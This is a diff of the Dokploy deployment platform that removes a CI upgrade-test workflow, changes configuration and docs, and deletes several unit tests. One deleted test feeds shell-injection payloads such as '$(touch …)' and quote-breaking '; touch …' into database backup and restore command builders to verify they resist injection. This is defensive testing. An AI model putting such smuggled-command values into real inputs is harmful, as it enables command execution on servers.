-                '. + [{"from":$f,"to":$t}]')
-            fi
-          done <<< "$ALL_TAGS"
-
-          COUNT=$(echo "$PAIRS" | jq 'length')
-          echo "Total pairs: $COUNT"
-          echo "$PAIRS" | jq -r '.[] | "  \(.from) → \(.to)"'
-
-          echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
-
-
-  # ── 2. Run one upgrade test per pair ────────────────────────────────────────
-  upgrade-test:
-    name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
-    needs: build-matrix
-    runs-on: ubuntu-latest
-    strategy:
-      fail-fast: false
-      matrix:
-        pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
-
-    steps:
-
-      # ── Environment setup ──────────────────────────────────────────────────
-      - name: Free disk space
-        run: |
-          sudo rm -rf \
-            /usr/share/dotnet /opt/ghc /usr/local/share/boost \
-            "$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
-            /usr/local/share/chromium /opt/hostedtoolcache
-          docker system prune -af --volumes
-          df -h
-
-      # ── Install Dokploy directly at VERSION A ──────────────────────────────
-      # install.sh:
-      #   • requires root (run via sudo bash)
-      #   • respects DOKPLOY_VERSION → installs that tag directly
-      #     (so we don't need a separate "downgrade" step that would risk
-      #     running B's migrations on A's expected schema)
-      #   • respects ADVERTISE_ADDR → skip the external IP lookup
-      #   • initializes Docker Swarm + dokploy-network itself
-      - name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
-        run: |
-          curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
-          chmod +x /tmp/install.sh
-          sudo -E env \
-            DOKPLOY_VERSION="${{ matrix.pair.from }}" \
-            ADVERTISE_ADDR="127.0.0.1" \
-            bash /tmp/install.sh
-
-      - name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
-        run: |
-          echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
-          timeout 240 bash -c '
-            until docker service ls --filter name=dokploy \
-                    --format "{{.Name}} {{.Replicas}}" \
-                  | grep "^dokploy " | grep -q " 1/1"; do
-              sleep 4
-            done
-          '
-          docker service ls
-          echo "✅ Service running on ${{ matrix.pair.from }}"
-
-      - name: Wait for Dokploy API to accept requests
-        run: |
-          timeout 180 bash -c '
-            until curl -sf -o /dev/null \
-                       "http://localhost:${{ env.DOKPLOY_PORT }}"; do
-              sleep 3
-            done
-          '
-          echo "✅ Dokploy API is up"
-
-      # ── Bootstrap admin user ───────────────────────────────────────────────
-      - name: Register first admin user
-        id: auth
-        run: |
-          COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
-          : > "$COOKIE_JAR"
-          chmod 600 "$COOKIE_JAR"
-          echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
-
-          # better-auth: sign-up/email (allowed only before any owner exists)
-          set -x
-          curl -sS -i -X POST \
-            "http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
-            -H "Content-Type: application/json" \
-            -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
-            -d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
-            | tee /tmp/signup.out
-          set +x
-
-          # Verify we got a session cookie
-          if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
-            echo "⚠️  No session cookie matched expected name; jar contents:"
-            cat "$COOKIE_JAR"
-          fi
-
-      # ── Create test resources ──────────────────────────────────────────────
-      - name: Create project, databases and applications
-        id: create
-        env:
-          BASE:   "http://localhost:${{ env.DOKPLOY_PORT }}"
-          COOKIE: ${{ steps.auth.outputs.cookie_jar }}
-        run: |
-          set -euo pipefail
-
-          # --- tRPC POST helper ---
-          trpc_mut() {
-            curl -sf -X POST "$BASE/api/trpc/$1" \
-              -H "Content-Type: application/json" \
-              -b "$COOKIE" -c "$COOKIE" \
-              -d "{\"json\":$2}"
-          }
-
-          # --- Project ---
-          PROJECT=$(trpc_mut project.create \
-            '{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
-          echo "project.create → $PROJECT"
-
-          # project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
-          PROJECT_ID=$(echo "$PROJECT" | jq -r \
-            '.result.data.json.project.projectId // .result.data.json.projectId // empty')
-          ENV_ID=$(echo "$PROJECT" | jq -r \
-            '.result.data.json.environment.environmentId // empty')
-
-          if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
-            echo "❌ Could not extract projectId from project.create response:"
-            echo "$PROJECT" | jq .
-            exit 1
-          fi
-          if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
-            echo "❌ Could not extract environmentId — this version may not support environments."
-            echo "   project.create response: $PROJECT"
-            exit 1
-          fi
-
-          echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
-          echo "env_id=$ENV_ID"         >> "$GITHUB_OUTPUT"
-          echo "Detected PROJECT_ID=$PROJECT_ID  ENV_ID=$ENV_ID"
-
-          # --- PostgreSQL 15 ---
-          PG=$(trpc_mut postgres.create \
-            "{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
-              \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
-              \"databasePassword\":\"CiPg1pass\",\
-              \"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
-          echo "postgres.create → $PG"
-          PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
-          # deploy (not start) — deploy creates the Swarm service; start only
-          # scales an already-deployed service and 500s on a fresh resource.
-          trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
-          echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
-
-          # --- MongoDB 7.0 ---
-          MG=$(trpc_mut mongo.create \
-            "{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
-              \"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
-              \"databasePassword\":\"CiMg1pass\",\
-              \"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
-          echo "mongo.create → $MG"
-          MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
-          trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
-          echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
-
-          # --- Docker-image application helper ---
-          make_app() {
-            local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
-            APP=$(trpc_mut application.create \
-              "{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
-            APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
-            trpc_mut application.saveDockerProvider \
-              "{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
-                \"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
-              > /dev/null
-            trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
-              > /dev/null
-            echo "$APP_ID"
-          }
-
-          # Static site (nginx)
-          APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
-          echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
-
-          # Node.js hello-world (echo server image — small, no args needed)
-          APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
-          echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
-
-          # Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
-          APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
-          echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
-
-          echo "✅ All resources created"
-
-      # ── Pre-upgrade health check ───────────────────────────────────────────
-      - name: Wait for all services → 'done' (pre-upgrade)
-        env:
-          BASE:          "http://localhost:${{ env.DOKPLOY_PORT }}"
-          COOKIE:        ${{ steps.auth.outputs.cookie_jar }}
-          PG_ID:         ${{ steps.create.outputs.pg_id }}
-          MG_ID:         ${{ steps.create.outputs.mg_id }}
-          APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
-          APP_NODE_ID:   ${{ steps.create.outputs.app_node_id }}
-          APP_GO_ID:     ${{ steps.create.outputs.app_go_id }}
-        run: |
-          wait_done() {
-            local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
-            echo "Waiting for $NAME to reach 'done'..."
-            timeout 360 bash -c "
-              until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
-                        --data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
-                        -b '$COOKIE' | \
-                        jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
-                      = 'done' ]; do
-                sleep 5
-              done
-            "
-            echo "✅ $NAME is done"
-          }
-
-          wait_done postgres  postgres.one    postgresId    "$PG_ID"         applicationStatus
-          wait_done mongo     mongo.one       mongoId       "$MG_ID"         applicationStatus
-          wait_done static    application.one applicationId "$APP_STATIC_ID" applicationStatus
-          wait_done node-app  application.one applicationId "$APP_NODE_ID"   applicationStatus
-          wait_done go-app    application.one applicationId "$APP_GO_ID"     applicationStatus
-
-      - name: Assert Docker Swarm services healthy (pre-upgrade)
-        run: |
-          echo "=== docker service ls ==="
-          docker service ls
-
-          FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
-            grep -E '^ci-' | grep -v ' 1/1' || true)
-          if [ -n "$FAIL" ]; then
-            echo "❌ User services not healthy before upgrade:"
-            echo "$FAIL"
-            exit 1
-          fi
-          echo "✅ All user services healthy before upgrade"
-
-      # ── Upgrade ────────────────────────────────────────────────────────────
-      - name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
-        run: |
-          docker service update \
-            --image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
-            --force \
-            "${{ env.DOKPLOY_SERVICE }}"
-
-          echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
-          timeout 240 bash -c '
-            until ! docker service inspect dokploy \
-                    --format "{{.UpdateStatus.State}}" 2>/dev/null \
-                  | grep -q "^updating$"; do
-              sleep 4
-            done
-            until docker service ls --filter name=dokploy \
-                    --format "{{.Name}} {{.Replicas}}" \
-                  | grep "^dokploy " | grep -q " 1/1"; do
-              sleep 4
-            done
-          '
-          echo "✅ Service running on ${{ matrix.pair.to }}"
-
-      - name: Wait for Dokploy API to respond post-upgrade
-        run: |
-          timeout 180 bash -c '
-            until curl -sf -o /dev/null \
-                       "http://localhost:${{ env.DOKPLOY_PORT }}"; do
-              sleep 3
-            done
-          '
-          echo "✅ Dokploy API is up after upgrade"
-
-      # ── Post-upgrade health check ──────────────────────────────────────────
-      - name: Verify all services still healthy (post-upgrade)
-        env:
-          BASE:          "http://localhost:${{ env.DOKPLOY_PORT }}"
-          COOKIE:        ${{ steps.auth.outputs.cookie_jar }}
-          PG_ID:         ${{ steps.create.outputs.pg_id }}
-          MG_ID:         ${{ steps.create.outputs.mg_id }}
-          APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
-          APP_NODE_ID:   ${{ steps.create.outputs.app_node_id }}
-          APP_GO_ID:     ${{ steps.create.outputs.app_go_id }}
-        run: |
-          check_status() {
-            local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
-            STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
-              --data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
-              -b "$COOKIE" | \
-              jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
-            if [ "$STATUS" != "done" ]; then
-              echo "❌ $NAME status after upgrade: $STATUS"
-              return 1
-            fi
-            echo "✅ $NAME: $STATUS"
-          }
-
-          check_status postgres  postgres.one    postgresId    "$PG_ID"         applicationStatus
-          check_status mongo     mongo.one       mongoId       "$MG_ID"         applicationStatus
-          check_status static    application.one applicationId "$APP_STATIC_ID" applicationStatus
-          check_status node-app  application.one applicationId "$APP_NODE_ID"   applicationStatus
-          check_status go-app    application.one applicationId "$APP_GO_ID"     applicationStatus
-
-          echo "=== docker service ls (post-upgrade) ==="
-          docker service ls
-
-          FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
-            grep -E '^ci-' | grep -v ' 1/1' || true)
-          if [ -n "$FAIL" ]; then
-            echo "❌ User services not healthy after upgrade:"
-            echo "$FAIL"
-            exit 1
-          fi
-          echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
-
-      # ── Diagnostics on failure ─────────────────────────────────────────────
-      - name: Dump state on failure
-        if: failure()
-        run: |
-          echo "=== docker service ls ===" && docker service ls || true
-          echo "=== dokploy service tasks ===" && \
-            docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
-          echo "=== dokploy logs (last 200) ===" && \
-            docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
-          echo "=== install.sh tail ===" && \
-            tail -100 /tmp/install.sh 2>&1 || true
-          echo "=== signup response ===" && \
-            cat /tmp/signup.out 2>&1 || true
-          echo "=== disk usage ===" && df -h
-
-      # ── Job summary ────────────────────────────────────────────────────────
-      - name: Write job summary
-        if: always()
-        env:
-          JOB_STATUS: ${{ job.status }}
-        run: |
-          STATUS="$JOB_STATUS"
-          ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
-          cat >> "$GITHUB_STEP_SUMMARY" <<EOF
-          ## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
-
-          | Service | Image |
-          |---------|-------|
-          | ci-pg-db | postgres:15 |
-          | ci-mongo-db | mongo:7.0 |
-          | ci-static-app | nginx:alpine (static site) |
-          | ci-node-app | ealen/echo-server (Node.js hello-world) |
-          | ci-go-app | traefik/whoami (Go HTTP server) |
-          EOF

.gitignore

@@ -43,7 +43,4 @@ yarn-error.log*
 *.pem
 
 
-.db
+.db
-
-.playwright-*
-.credentials

.worktreeinclude

@@ -1,2 +0,0 @@
-.env
-.env.local

CLAUDE.md

@@ -1,6 +0,0 @@
-## Code style
-- Don't write comments that restate what the code already says.
-- Comment only the "why" when something isn't obvious: workarounds,
-  counterintuitive decisions, constraints from an external API.
-- No section-divider comments like `// --- Helpers ---`.
-- Don't leave comments describing the change you just made.

CONTRIBUTING.md

@@ -120,20 +120,12 @@ pnpm run docker:push
 
 ## Password Reset
 
-In the case you lost your password, you can reset the owner's password using the following command
+In the case you lost your password, you can reset it using the following command
 
 ```bash
-pnpm --filter=dokploy run reset-password
+pnpm run reset-password
 ```
 
-To reset the password of a specific user instead, pass their email as an argument
-
-```bash
-pnpm --filter=dokploy run reset-password user@example.com
-```
-
-Both commands print the new randomly generated password to the console.
-
 If you want to test the webhooks on development mode using localtunnel, make sure to install [`localtunnel`](https://localtunnel.app/)
 
 ```bash

Dockerfile

@@ -31,7 +31,7 @@ WORKDIR /app
 # Set production
 ENV NODE_ENV=production
 
-RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
+RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
 
 # Copy only the necessary files
 COPY --from=build /prod/dokploy/.next ./.next
@@ -69,8 +69,4 @@ EXPOSE 3000
 HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
   CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
 
-# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
+  CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
-ENTRYPOINT ["/usr/bin/tini", "--"]
-
-# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
-  CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]

apps/api/README.md

@@ -6,13 +6,3 @@ npm run dev
 ```
 open http://localhost:3000
 ```
-
-## Inngest
-
-This service uses Inngest to queue deployments. Run the local dev server in a separate terminal:
-
-```
-npm run dev:inngest
-```
-
-It syncs with the app at `http://localhost:4000/api/inngest` and serves its dashboard at `http://localhost:8288`.

apps/api/package.json

@@ -4,7 +4,6 @@
 	"type": "module",
 	"scripts": {
 		"dev": "PORT=4000 tsx watch src/index.ts",
-		"dev:inngest": "npx --yes inngest-cli@1.9.0 dev -u http://localhost:4000/api/inngest --no-discovery",
 		"build": "rimraf dist && tsc --project tsconfig.json",
 		"start": "node dist/index.js",
 		"typecheck": "tsc --noEmit"
@@ -29,7 +28,7 @@
 		"@types/react-dom": "^19.2.0",
 		"rimraf": "6.1.3",
 		"tsx": "^4.22.4",
-		"typescript": "^7.0.2"
+		"typescript": "^5.8.3"
 	},
 	"packageManager": "pnpm@10.22.0",
 	"engines": {

apps/api/tsconfig.json

@@ -2,12 +2,13 @@
 	"compilerOptions": {
 		"target": "ESNext",
 		"module": "ESNext",
-		"moduleResolution": "bundler",
+		"moduleResolution": "Node",
 		"strict": true,
 		"skipLibCheck": true,
 		"outDir": "dist",
-		"rootDir": "./src",
 		"jsx": "react-jsx",
+		"jsxImportSource": "hono/jsx",
+		"baseUrl": ".",
 		"paths": {
 			"@/*": ["./*"],
 			"@dokploy/server/*": ["../../packages/server/src/*"]

apps/dokploy/.env.example

@@ -1,6 +1,3 @@
 DATABASE_URL="postgres://dokploy:amukds4wi9001583845717ad2@localhost:5432/dokploy"
 PORT=3000
 NODE_ENV=development
-
-# Managed Servers (Dokploy Cloud only) — API token from https://hpanel.hostinger.com/profile/api
-HOSTINGER_API_KEY=

apps/dokploy/__test__/api/api-key-name.test.ts

@@ -1,26 +0,0 @@
-import { describe, expect, it } from "vitest";
-import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
-
-describe("apiKeyNameSchema", () => {
-	it("rejects an empty name", () => {
-		const result = apiKeyNameSchema.safeParse("");
-		expect(result.success).toBe(false);
-	});
-
-	it("accepts a name at the maximum length", () => {
-		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
-		const result = apiKeyNameSchema.safeParse(name);
-		expect(result.success).toBe(true);
-	});
-
-	it("rejects a name over the maximum length instead of passing it to better-auth", () => {
-		const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
-		const result = apiKeyNameSchema.safeParse(name);
-		expect(result.success).toBe(false);
-		if (!result.success) {
-			expect(result.error.issues[0]?.message).toBe(
-				`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
-			);
-		}
-	});
-});

apps/dokploy/__test__/api/session-management.test.ts

@@ -1,23 +0,0 @@
-import { describe, expect, it } from "vitest";
-import { z } from "zod";
-
-const revokeSessionSchema = z.object({
-	sessionId: z.string(),
-});
-
-describe("revokeSession input validation", () => {
-	it("accepts a valid session id", () => {
-		const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
-		expect(result.success).toBe(true);
-	});
-
-	it("rejects missing sessionId", () => {
-		const result = revokeSessionSchema.safeParse({});
-		expect(result.success).toBe(false);
-	});
-
-	it("rejects non-string sessionId", () => {
-		const result = revokeSessionSchema.safeParse({ sessionId: 123 });
-		expect(result.success).toBe(false);
-	});
-});

apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts

@@ -1,106 +0,0 @@
-import { execSync } from "node:child_process";
-import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
-import {
-	getLibsqlBackupCommand,
-	getMariadbBackupCommand,
-	getMongoBackupCommand,
-	getMysqlBackupCommand,
-	getPostgresBackupCommand,
-} from "@dokploy/server/utils/backups/utils";
-import {
-	getMariadbRestoreCommand,
-	getMongoRestoreCommand,
-	getMysqlRestoreCommand,
-	getPostgresRestoreCommand,
-} from "@dokploy/server/utils/restore/utils";
-import { afterAll, beforeAll, describe, expect, it } from "vitest";
-
-// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
-// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
-// test exercises BOTH shell layers (outer /bin/sh building the docker command,
-// and the inner shell) the way production does, without needing a container.
-const stub = `/tmp/docker_stub_${process.pid}`;
-const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
-
-beforeAll(() => {
-	writeFileSync(
-		stub,
-		`#!/bin/bash
-shift # exec
-envs=()
-while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
-shift 2 # -i CONTAINER
-shell="$1"; shift # bash|sh
-shift # -c
-env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
-`,
-	);
-	chmodSync(stub, 0o755);
-});
-
-afterAll(() => {
-	if (existsSync(stub)) rmSync(stub);
-	if (existsSync(MARK)) rmSync(MARK);
-});
-
-// Run a builder-produced command with `docker` pointed at the stub; return true
-// if no injected command fired.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	const withStub = command.replace(/^docker /, `${stub} `);
-	try {
-		execSync(withStub, {
-			shell: "/bin/bash",
-			stdio: "ignore",
-			env: { ...process.env, CONTAINER_ID: "test" },
-		});
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-// Payloads that try to break out of every quoting style used in the builders.
-const p = (mark: string) => [
-	`$(touch ${mark})`,
-	"`touch " + mark + "`",
-	`x'; touch ${mark}; '`,
-	`x"; touch ${mark}; echo "`,
-	`x; touch ${mark}`,
-];
-
-describe("database backup/restore command injection", () => {
-	const cases: Array<[string, (v: string) => string]> = [
-		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
-		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
-		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
-		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
-		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
-		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
-		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
-		[
-			"mariadb restore (password)",
-			(v) => getMariadbRestoreCommand("db", "u", v),
-		],
-		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
-		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
-	];
-
-	for (const [label, build] of cases) {
-		it(`${label} is not injectable`, () => {
-			for (const payload of p(MARK)) {
-				expect(runsSafely(build(payload))).toBe(true);
-			}
-		});
-	}
-
-	it("preserves a legitimate database name (passed through as env var)", () => {
-		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
-		// Values live in -e assignments, never inline in the pg_dump text.
-		expect(cmd).toContain("-e DB_NAME=my-db_prod");
-		expect(cmd).toContain("-e DB_USER=app_user");
-		expect(cmd).toContain(
-			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
-		);
-	});
-});

apps/dokploy/__test__/backups/redact-credentials.test.ts

@@ -1,50 +0,0 @@
-import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
-import { describe, expect, it } from "vitest";
-
-describe("redactRcloneCredentials (#4621)", () => {
-	it("should redact access key in rclone command", () => {
-		const cmd =
-			'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
-		expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
-	});
-
-	it("should redact secret access key in rclone command", () => {
-		const cmd =
-			'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("supersecret");
-		expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
-	});
-
-	it("should redact both credentials simultaneously", () => {
-		const cmd =
-			'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).not.toContain("AKIA123");
-		expect(redacted).not.toContain("secret456");
-		expect(redacted).toContain('--s3-region="us-east-1"');
-	});
-
-	it("should not modify non-credential flags", () => {
-		const cmd =
-			'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
-		const redacted = redactRcloneCredentials(cmd);
-		expect(redacted).toBe(cmd);
-	});
-
-	it("should handle commands with no credentials", () => {
-		const cmd = "rclone lsf :s3:bucket/";
-		expect(redactRcloneCredentials(cmd)).toBe(cmd);
-	});
-
-	it("should handle error strings containing credentials", () => {
-		const errorStr =
-			'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
-		const redacted = redactRcloneCredentials(errorStr);
-		expect(redacted).not.toContain("MYKEY");
-		expect(redacted).not.toContain("MYSECRET");
-		expect(redacted).toContain("[REDACTED]");
-	});
-});

apps/dokploy/__test__/backups/restore-use-statement.test.ts

@@ -1,57 +0,0 @@
-import { execSync } from "node:child_process";
-import {
-	getRestoreCommand,
-	stripDatabaseSwitchCommand,
-} from "@dokploy/server/utils/restore/utils";
-import { describe, expect, it } from "vitest";
-
-const filter = (input: string) =>
-	execSync(stripDatabaseSwitchCommand, {
-		input,
-		shell: "/bin/bash",
-	}).toString();
-
-describe("restore drops database-switch statements (mysql/mariadb)", () => {
-	const dump = [
-		"-- MariaDB dump",
-		"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
-		"USE `production_db`;",
-		"use production_db;",
-		"DROP TABLE IF EXISTS `users`;",
-		"CREATE TABLE `users` (`id` int NOT NULL);",
-		"INSERT INTO `users` VALUES (1),(2);",
-		"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
-	].join("\n");
-
-	it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
-		const result = filter(dump);
-		expect(result).not.toContain("USE `production_db`");
-		expect(result).not.toContain("use production_db");
-		expect(result).not.toContain("CREATE DATABASE /*!32312");
-		expect(result).toContain("DROP TABLE IF EXISTS `users`;");
-		expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
-		expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
-		expect(result).toContain(
-			"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
-		);
-	});
-
-	it("is wired into mysql and mariadb restore pipelines only", () => {
-		const base = {
-			appName: "my-app",
-			restoreType: "database" as const,
-			credentials: {
-				database: "dev_db",
-				databaseUser: "u",
-				databasePassword: "p",
-			},
-			rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
-		};
-		for (const type of ["mysql", "mariadb"] as const) {
-			const cmd = getRestoreCommand({ ...base, type });
-			expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
-		}
-		const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
-		expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
-	});
-});

apps/dokploy/__test__/backups/volume-backup-restart.test.ts

@@ -1,82 +0,0 @@
-import { spawnSync } from "node:child_process";
-import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
-import { describe, expect, it } from "vitest";
-
-const runCommand = (command: string) =>
-	spawnSync("bash", ["-c", command], {
-		encoding: "utf8",
-	});
-
-const outputLines = (stdout: string) =>
-	stdout
-		.trim()
-		.split("\n")
-		.filter((line) => line.length > 0);
-
-describe("createRestartSafeBackupCommand", () => {
-	it("restarts the service and preserves the backup error status", () => {
-		const result = runCommand(
-			createRestartSafeBackupCommand({
-				stopCommand: 'echo "stop"',
-				backupCommand: 'echo "backup"; exit 23',
-				startCommand: 'echo "start"',
-				uploadCommand: 'echo "upload"',
-			}),
-		);
-
-		expect(result.status).toBe(23);
-		expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
-	});
-
-	it("preserves the backup error status when the restart also fails", () => {
-		const result = runCommand(
-			createRestartSafeBackupCommand({
-				stopCommand: 'echo "stop"',
-				backupCommand: 'echo "backup"; exit 23',
-				startCommand: 'echo "start"; exit 17',
-				uploadCommand: 'echo "upload"',
-			}),
-		);
-
-		expect(result.status).toBe(23);
-		expect(outputLines(result.stdout)).toEqual([
-			"stop",
-			"backup",
-			"start",
-			"Service restart also failed with exit code 17",
-		]);
-	});
-
-	it("returns the restart error status when the backup succeeds", () => {
-		const result = runCommand(
-			createRestartSafeBackupCommand({
-				stopCommand: 'echo "stop"',
-				backupCommand: 'echo "backup"',
-				startCommand: 'echo "start"; exit 17',
-				uploadCommand: 'echo "upload"',
-			}),
-		);
-
-		expect(result.status).toBe(17);
-		expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
-	});
-
-	it("uploads only after a successful backup and service restart", () => {
-		const result = runCommand(
-			createRestartSafeBackupCommand({
-				stopCommand: 'echo "stop"',
-				backupCommand: 'echo "backup"',
-				startCommand: 'echo "start"',
-				uploadCommand: 'echo "upload"',
-			}),
-		);
-
-		expect(result.status).toBe(0);
-		expect(outputLines(result.stdout)).toEqual([
-			"stop",
-			"backup",
-			"start",
-			"upload",
-		]);
-	});
-});

apps/dokploy/__test__/cluster/registry-node-injection.test.ts

@@ -1,70 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
-
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
